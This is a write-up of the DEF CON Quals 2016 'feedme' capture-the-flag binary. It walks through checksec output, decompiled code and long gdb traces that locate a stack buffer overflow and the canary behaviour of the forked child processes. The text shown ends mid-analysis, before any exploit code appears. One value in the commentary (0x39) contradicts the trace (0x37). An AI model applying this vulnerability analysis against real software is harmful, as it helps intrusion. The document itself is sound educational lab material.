defcon quals 2016 feedme
This is based off of a Raytheon SI Govs talk.
Let's take a look at the binary:
$ pwn checksec feedme
[*] '/Hackery/pod/modules/bof_static/dcquals16_feedme/feedme'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
$ file feedme
feedme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped
$ ./feedme
FEED ME!
15935728
0000000000000000000000000000000000000000000000000000000000000000000
ATE 353933353732380a3030303030303030...
*** stack smashing detected ***: ./feedme terminated
Child exit.
FEED ME!
15935728
So we can see that we are dealing with a 32 bit statically linked binary, with a Non-Executable stack. When we run it, the program prompts us with FEED ME!
and we can give input. We also see that we are able to overwrite a stack canary, so we probably have a stack buffer overflow somewhere. In addition to that, when it detected that the stack canary was overwritten it terminated the process, however continued asking us for input. The binary is probably designed in such a way that it spawns child processes which is where we scan in the input and overwrite the stack canary. That way when the program sees that the stack canary has been edited and terminates the process, the parent process spawns another instance and continues asking us for input. Also one more thing, the reason why pwntools says it doesn't have a stack canary is because pwntools looks for a libc call that due to how it was compiled it isn't maid.
Reversing
Looking for the references to the string FEED ME!
, we find this:
uint feedMeFunc(void)
{
byte size;
undefined4 ptr;
uint result;
int in_GS_OFFSET;
undefined input [32];
int canary;
canary = *(int *)(in_GS_OFFSET + 0x14);
puts("FEED ME!");
size = getInt();
scanInMemory(input,(uint)size);
ptr = FUN_08048f6e(input,(uint)size,0x10);
printf("ATE %s\n",ptr);
result = (uint)size;
if (canary != *(int *)(in_GS_OFFSET + 0x14)) {
result = canaryFail();
}
return result;
}
So we can see it starts off by establishing the stack canary. Proceeding that we call a function called puts
(I say that it is puts because it takes in a string ptr like puts and prints it, I didn't really look at what the function was doing other than that). Proceeding that it calls the getInt
function which prompts the user for input, and returns the first byte of the input as an integer. Proceeding that we can see that the function scanInMemory is called. The arguments for that are input
and size
. Using a bit of dynamic analysis we can see that the amount of bytes that scanInMemory
is equivalent to size
. Also dynamic analysis also tells us that FUN_08048f6e
just returns a pointer to 16 bytes of our input. Let's look at this in gdb.
First we set gdb to follow the child process on forks, since that is where this code is ran. Also we set breakpoints for the functions getInt
, scanInMemory
, and FUN_08048f6e
:
gef➤ set follow-fork-mode child
gef➤ show follow-fork mode
Debugger response to a program call of fork or vfork is "child".
gef➤ b *0x8049053
Breakpoint 1 at 0x8049053
gef➤ b *0x8049069
Breakpoint 2 at 0x8049069
gef➤ b *0x8049084
Breakpoint 3 at 0x8049084
gef➤ r
Starting program: /Hackery/pod/modules/bof_static/dcquals16_feedme/feedme
[New process 14709]
FEED ME!
[Switching to process 14709]
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x9
$ebx : 0x080481a8 → push ebx
$ecx : 0x080eb4d4 → 0x00000000
$edx : 0x9
$esp : 0xffffcfd0 → 0x080be70c → "FEED ME!"
$ebp : 0xffffd018 → 0xffffd048 → 0xffffd068 → 0x08049970 → push ebx
$esi : 0x0
$edi : 0x080ea00c → 0x08067f90 → mov edx, DWORD PTR [esp+0x4]
$eip : 0x08049053 → 0xfffdeae8 → 0x00000000
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfd0│+0x0000: 0x080be70c → "FEED ME!" ← $esp
0xffffcfd4│+0x0004: 0x00000000
0xffffcfd8│+0x0008: 0x00000000
0xffffcfdc│+0x000c: 0x0806ccb7 → sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200 → 0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247 → 0x0eb4d40a
0xffffcfe8│+0x0018: 0x080ea248 → 0x080eb4d4 → 0x00000000
0xffffcfec│+0x001c: 0x00000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8049041 add BYTE PTR [ecx-0x3fce0bbb], cl
0x8049047 mov DWORD PTR [esp], 0x80be70c
0x804904e call 0x804fc60
→ 0x8049053 call 0x8048e42
↳ 0x8048e42 push ebp
0x8048e43 mov ebp, esp
0x8048e45 sub esp, 0x28
0x8048e48 mov DWORD PTR [esp+0x8], 0x1
0x8048e50 lea eax, [ebp-0xd]
0x8048e53 mov DWORD PTR [esp+0x4], eax
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
0x8048e42 (
)
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8049053 → call 0x8048e42
[#1] 0x80490dc → movzx eax, al
[#2] 0x80491da → mov eax, 0x0
[#3] 0x80493ba → mov DWORD PTR [esp], eax
[#4] 0x8048d2b → hlt
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Thread 2.1 "feedme" hit Breakpoint 1, 0x08049053 in ?? ()
gef➤ s
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x9
$ebx : 0x080481a8 → push ebx
$ecx : 0x080eb4d4 → 0x00000000
$edx : 0x9
$esp : 0xffffcfcc → 0x08049058 → mov BYTE PTR [ebp-0x2d], al
$ebp : 0xffffd018 → 0xffffd048 → 0xffffd068 → 0x08049970 → push ebx
$esi : 0x0
$edi : 0x080ea00c → 0x08067f90 → mov edx, DWORD PTR [esp+0x4]
$eip : 0x08048e42 → push ebp
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfcc│+0x0000: 0x08049058 → mov BYTE PTR [ebp-0x2d], al ← $esp
0xffffcfd0│+0x0004: 0x080be70c → "FEED ME!"
0xffffcfd4│+0x0008: 0x00000000
0xffffcfd8│+0x000c: 0x00000000
0xffffcfdc│+0x0010: 0x0806ccb7 → sub esp, 0x20
0xffffcfe0│+0x0014: 0x080ea200 → 0xfbad2887
0xffffcfe4│+0x0018: 0x080ea247 → 0x0eb4d40a
0xffffcfe8│+0x001c: 0x080ea248 → 0x080eb4d4 → 0x00000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8048e31 call 0x804fc60
0x8048e36 mov DWORD PTR [esp], 0x1
0x8048e3d call 0x804ed20
→ 0x8048e42 push ebp
0x8048e43 mov ebp, esp
0x8048e45 sub esp, 0x28
0x8048e48 mov DWORD PTR [esp+0x8], 0x1
0x8048e50 lea eax, [ebp-0xd]
0x8048e53 mov DWORD PTR [esp+0x4], eax
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048e42 → push ebp
[#1] 0x8049058 → mov BYTE PTR [ebp-0x2d], al
[#2] 0x80490dc → movzx eax, al
[#3] 0x80491da → mov eax, 0x0
[#4] 0x80493ba → mov DWORD PTR [esp], eax
[#5] 0x8048d2b → hlt
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x08048e42 in ?? ()
gef➤ finish
Run till exit from #0 0x08048e42 in ?? ()
75395128
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x37
$ebx : 0x080481a8 → push ebx
$ecx : 0xffffcfbb → 0x00000137
$edx : 0x1
$esp : 0xffffcfd0 → 0x080be70c → "FEED ME!"
$ebp : 0xffffd018 → 0xffffd048 → 0xffffd068 → 0x08049970 → push ebx
$esi : 0x0
$edi : 0x080ea00c → 0x08067f90 → mov edx, DWORD PTR [esp+0x4]
$eip : 0x08049058 → mov BYTE PTR [ebp-0x2d], al
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfd0│+0x0000: 0x080be70c → "FEED ME!" ← $esp
0xffffcfd4│+0x0004: 0x00000000
0xffffcfd8│+0x0008: 0x00000000
0xffffcfdc│+0x000c: 0x0806ccb7 → sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200 → 0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247 → 0x0eb4d40a
0xffffcfe8│+0x0018: 0x080ea248 → 0x080eb4d4 → 0x00000000
0xffffcfec│+0x001c: 0x00000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8049047 mov DWORD PTR [esp], 0x80be70c
0x804904e call 0x804fc60
0x8049053 call 0x8048e42
→ 0x8049058 mov BYTE PTR [ebp-0x2d], al
0x804905b movzx eax, BYTE PTR [ebp-0x2d]
0x804905f mov DWORD PTR [esp+0x4], eax
0x8049063 lea eax, [ebp-0x2c]
0x8049066 mov DWORD PTR [esp], eax
0x8049069 call 0x8048e7e
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: TEMPORARY BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8049058 → mov BYTE PTR [ebp-0x2d], al
[#1] 0x80490dc → movzx eax, al
[#2] 0x80491da → mov eax, 0x0
[#3] 0x80493ba → mov DWORD PTR [esp], eax
[#4] 0x8048d2b → hlt
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x08049058 in ?? ()
gef➤ 5395128
Undefined command: "5395128". Try "help".
gef➤ p $al
$1 = 0x37
For the getInt
function, we see that we passed it the string 75395128
, and it returned to us 0x39
(which corresponds to the ascii character 7
):
gef➤ c
Continuing.
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffcfec → 0x00000000
$ebx : 0x080481a8 → push ebx
$ecx : 0xffffcfbb → 0x00000137
$edx : 0x1
$esp : 0xffffcfd0 → 0xffffcfec → 0x00000000
$ebp : 0xffffd018 → 0xffffd048 → 0xffffd068 → 0x08049970 → push ebx
$esi : 0x0
$edi : 0x080ea00c → 0x08067f90 → mov edx, DWORD PTR [esp+0x4]
$eip : 0x08049069 → 0xfffe10e8 → 0x00000000
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfd0│+0x0000: 0xffffcfec → 0x00000000 ← $esp
0xffffcfd4│+0x0004: 0x00000037 ("7"?)
0xffffcfd8│+0x0008: 0x00000000
0xffffcfdc│+0x000c: 0x0806ccb7 → sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200 → 0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247 → 0x0eb4d40a
0xffffcfe8│+0x0018: 0x370ea248
0xffffcfec│+0x001c: 0x00000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x804905f mov DWORD PTR [esp+0x4], eax
0x8049063 lea eax, [ebp-0x2c]
0x8049066 mov DWORD PTR [esp], eax
→ 0x8049069 call 0x8048e7e
↳ 0x8048e7e push ebp
0x8048e7f mov ebp, esp
0x8048e81 sub esp, 0x28
0x8048e84 mov eax, DWORD PTR [ebp+0xc]
0x8048e87 mov DWORD PTR [ebp-0x14], eax
0x8048e8a mov DWORD PTR [ebp-0x10], 0x0
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
0x8048e7e (
)
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8049069 → call 0x8048e7e
[#1] 0x80490dc → movzx eax, al
[#2] 0x80491da → mov eax, 0x0
[#3] 0x80493ba → mov DWORD PTR [esp], eax
[#4] 0x8048d2b → hlt
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Thread 2.1 "feedme" hit Breakpoint 2, 0x08049069 in ?? ()
gef➤ x/2w $esp
0xffffcfd0: 0xffffcfec 0x37
gef➤ x/40w 0xffffcfec
0xffffcfec: 0x0 0x2710 0x0 0x0
0xffffcffc: 0x0 0x80ea0a0 0x0 0x0
0xffffd00c: 0x44aff700 0x0 0x80ea00c 0xffffd048
0xffffd01c: 0x80490dc 0x80ea0a0 0x0 0x80ed840
0xffffd02c: 0x804f8b4 0x0 0x0 0x0
0xffffd03c: 0x80481a8 0x80481a8 0x0 0xffffd068
0xffffd04c: 0x80491da 0x80ea0a0 0x0 0x2
0xffffd05c: 0x0 0x0 0x80ea00c 0x8049970
0xffffd06c: 0x80493ba 0x1 0xffffd0f4 0xffffd0fc
0xffffd07c: 0x0 0x0 0x80481a8 0x0
gef➤ s
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffcfec → 0x00000000
$ebx : 0x080481a8 → push ebx
$ecx : 0xffffcfbb → 0x00000137
$edx : 0x1
$esp : 0xffffcfcc → 0x0804906e → movzx eax, BYTE PTR [ebp-0x2d]
$ebp : 0xffffd018 → 0xffffd048 → 0xffffd068 → 0x08049970 → push ebx
$esi : 0x0
$edi : 0x080ea00c → 0x08067f90 → mov edx, DWORD PTR [esp+0x4]
$eip : 0x08048e7e → push ebp
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfcc│+0x0000: 0x0804906e → movzx eax, BYTE PTR [ebp-0x2d] ← $esp
0xffffcfd0│+0x0004: 0xffffcfec → 0x00000000
0xffffcfd4│+0x0008: 0x00000037 ("7"?)
0xffffcfd8│+0x000c: 0x00000000
0xffffcfdc│+0x0010: 0x0806ccb7 → sub esp, 0x20
0xffffcfe0│+0x0014: 0x080ea200 → 0xfbad2887
0xffffcfe4│+0x0018: 0x080ea247 → 0x0eb4d40a
0xffffcfe8│+0x001c: 0x370ea248
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8048e78 movzx eax, BYTE PTR [ebp-0xd]
0x8048e7c leave
0x8048e7d ret
→ 0x8048e7e push ebp
0x8048e7f mov ebp, esp
0x8048e81 sub esp, 0x28
0x8048e84 mov eax, DWORD PTR [ebp+0xc]
0x8048e87 mov DWORD PTR [ebp-0x14], eax
0x8048e8a mov DWORD PTR [ebp-0x10], 0x0
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048e7e → push ebp
[#1] 0x804906e → movzx eax, BYTE PTR [ebp-0x2d]
[#2] 0x80490dc → movzx eax, al
[#3] 0x80491da → mov eax, 0x0
[#4] 0x80493ba → mov DWORD PTR [esp], eax
[#5] 0x8048d2b → hlt
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x08048e7e in ?? ()
gef➤ finish
Run till exit from #0 0x08048e7e in ?? ()
00000000000000000000000000000000000000000000000000000000
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x37
$ebx : 0x080481a8 → push ebx
$ecx : 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]"
$edx : 0x37
$esp : 0xffffcfd0 → 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]"
$ebp : 0xffffd018 → 0x30303030 ("0000"?)
$esi : 0x0
$edi : 0x080ea00c → 0x08067f90 → mov edx, DWORD PTR [esp+0x4]
$eip : 0x0804906e → movzx eax, BYTE PTR [ebp-0x2d]
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfd0│+0x0000: 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]" ← $esp
0xffffcfd4│+0x0004: 0x00000037 ("7"?)
0xffffcfd8│+0x0008: 0x00000000
0xffffcfdc│+0x000c: 0x0806ccb7 → sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200 → 0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247 → 0x0eb4d40a
0xffffcfe8│+0x0018: 0x370ea248
0xffffcfec│+0x001c: "00000000000000000000000000000000000000000000000000[...]"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8049063 lea eax, [ebp-0x2c]
0x8049066 mov DWORD PTR [esp], eax
0x8049069 call 0x8048e7e
→ 0x804906e movzx eax, BYTE PTR [ebp-0x2d]
0x8049072 mov DWORD PTR [esp+0x8], 0x10
0x804907a mov DWORD PTR [esp+0x4], eax
0x804907e lea eax, [ebp-0x2c]
0x8049081 mov DWORD PTR [esp], eax
0x8049084 call 0x8048f6e
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: TEMPORARY BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804906e → movzx eax, BYTE PTR [ebp-0x2d]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x0804906e in ?? ()
gef➤ 0
Undefined command: "0". Try "help".
gef➤ x/40w 0xffffcfec
0xffffcfec: 0x30303030 0x30303030 0x30303030 0x30303030
0xffffcffc: 0x30303030 0x30303030 0x30303030 0x30303030
0xffffd00c: 0x30303030 0x30303030 0x30303030 0x30303030
0xffffd01c: 0x30303030 0x8303030 0x0 0x80ed840
0xffffd02c: 0x804f8b4 0x0 0x0 0x0
0xffffd03c: 0x80481a8 0x80481a8 0x0 0xffffd068
0xffffd04c: 0x80491da 0x80ea0a0 0x0 0x2
0xffffd05c: 0x0 0x0 0x80ea00c 0x8049970
0xffffd06c: 0x80493ba 0x1 0xffffd0f4 0xffffd0fc
0xffffd07c: 0x0 0x0 0x80481a8 0x0
We can see that the scanInMemory
function took two arguments, which were the output of getInt
and a stack pointer. It scanned in size
amount of bytes into the pointer it was passed. Also even though the function was passed 0x37
as a size, I gave it 0x38
bytes worth of 0
(0x30
) just to lend more evidence to how I thought this worked:
gef➤ s
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x37
$ebx : 0x080481a8 → push ebx
$ecx : 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]"
$edx : 0x37
$esp : 0xffffcfd0 → 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]"
$ebp : 0xffffd018 → 0x30303030 ("0000"?)
$esi : 0x0
$edi : 0x080ea00c → 0x08067f90 → mov edx, DWORD PTR [esp+0x4]
$eip : 0x08049072 → mov DWORD PTR [esp+0x8], 0x10
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfd0│+0x0000: 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]" ← $esp
0xffffcfd4│+0x0004: 0x00000037 ("7"?)
0xffffcfd8│+0x0008: 0x00000000
0xffffcfdc│+0x000c: 0x0806ccb7 → sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200 → 0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247 → 0x0eb4d40a
0xffffcfe8│+0x0018: 0x370ea248
0xffffcfec│+0x001c: "00000000000000000000000000000000000000000000000000[...]"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8049066 mov DWORD PTR [esp], eax
0x8049069 call 0x8048e7e
0x804906e movzx eax, BYTE PTR [ebp-0x2d]
→ 0x8049072 mov DWORD PTR [esp+0x8], 0x10
0x804907a mov DWORD PTR [esp+0x4], eax
0x804907e lea eax, [ebp-0x2c]
0x8049081 mov DWORD PTR [esp], eax
0x8049084 call 0x8048f6e
0x8049089 mov DWORD PTR [esp+0x4], eax
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8049072 → mov DWORD PTR [esp+0x8], 0x10
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x08049072 in ?? ()
gef➤ s
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x37
$ebx : 0x080481a8 → push ebx
$ecx : 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]"
$edx : 0x37
$esp : 0xffffcfd0 → 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]"
$ebp : 0xffffd018 → 0x30303030 ("0000"?)
$esi : 0x0
$edi : 0x080ea00c → 0x08067f90 → mov edx, DWORD PTR [esp+0x4]
$eip : 0x0804907a → mov DWORD PTR [esp+0x4], eax
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfd0│+0x0000: 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]" ← $esp
0xffffcfd4│+0x0004: 0x00000037 ("7"?)
0xffffcfd8│+0x0008: 0x00000010
0xffffcfdc│+0x000c: 0x0806ccb7 → sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200 → 0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247 → 0x0eb4d40a
0xffffcfe8│+0x0018: 0x370ea248
0xffffcfec│+0x001c: "00000000000000000000000000000000000000000000000000[...]"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8049069 call 0x8048e7e
0x804906e movzx eax, BYTE PTR [ebp-0x2d]
0x8049072 mov DWORD PTR [esp+0x8], 0x10
→ 0x804907a mov DWORD PTR [esp+0x4], eax
0x804907e lea eax, [ebp-0x2c]
0x8049081 mov DWORD PTR [esp], eax
0x8049084 call 0x8048f6e
0x8049089 mov DWORD PTR [esp+0x4], eax
0x804908d mov DWORD PTR [esp], 0x80be715
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804907a → mov DWORD PTR [esp+0x4], eax
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x0804907a in ?? ()
gef➤ s
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x37
$ebx : 0x080481a8 → push ebx
$ecx : 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]"
$edx : 0x37
$esp : 0xffffcfd0 → 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]"
$ebp : 0xffffd018 → 0x30303030 ("0000"?)
$esi : 0x0
$edi : 0x080ea00c → 0x08067f90 → mov edx, DWORD PTR [esp+0x4]
$eip : 0x0804907e → lea eax, [ebp-0x2c]
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfd0│+0x0000: 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]" ← $esp
0xffffcfd4│+0x0004: 0x00000037 ("7"?)
0xffffcfd8│+0x0008: 0x00000010
0xffffcfdc│+0x000c: 0x0806ccb7 → sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200 → 0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247 → 0x0eb4d40a
0xffffcfe8│+0x0018: 0x370ea248
0xffffcfec│+0x001c: "00000000000000000000000000000000000000000000000000[...]"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x804906e movzx eax, BYTE PTR [ebp-0x2d]
0x8049072 mov DWORD PTR [esp+0x8], 0x10
0x804907a mov DWORD PTR [esp+0x4], eax
→ 0x804907e lea eax, [ebp-0x2c]
0x8049081 mov DWORD PTR [esp], eax
0x8049084 call 0x8048f6e
0x8049089 mov DWORD PTR [esp+0x4], eax
0x804908d mov DWORD PTR [esp], 0x80be715
0x8049094 call 0x804f700
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804907e → lea eax, [ebp-0x2c]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x0804907e in ?? ()
gef➤ s
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]"
$ebx : 0x080481a8 → push ebx
$ecx : 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]"
$edx : 0x37
$esp : 0xffffcfd0 → 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]"
$ebp : 0xffffd018 → 0x30303030 ("0000"?)
$esi : 0x0
$edi : 0x080ea00c → 0x08067f90 → mov edx, DWORD PTR [esp+0x4]
$eip : 0x08049081 → mov DWORD PTR [esp], eax
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfd0│+0x0000: 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]" ← $esp
0xffffcfd4│+0x0004: 0x00000037 ("7"?)
0xffffcfd8│+0x0008: 0x00000010
0xffffcfdc│+0x000c: 0x0806ccb7 → sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200 → 0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247 → 0x0eb4d40a
0xffffcfe8│+0x0018: 0x370ea248
0xffffcfec│+0x001c: "00000000000000000000000000000000000000000000000000[...]"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8049072 mov DWORD PTR [esp+0x8], 0x10
0x804907a mov DWORD PTR [esp+0x4], eax
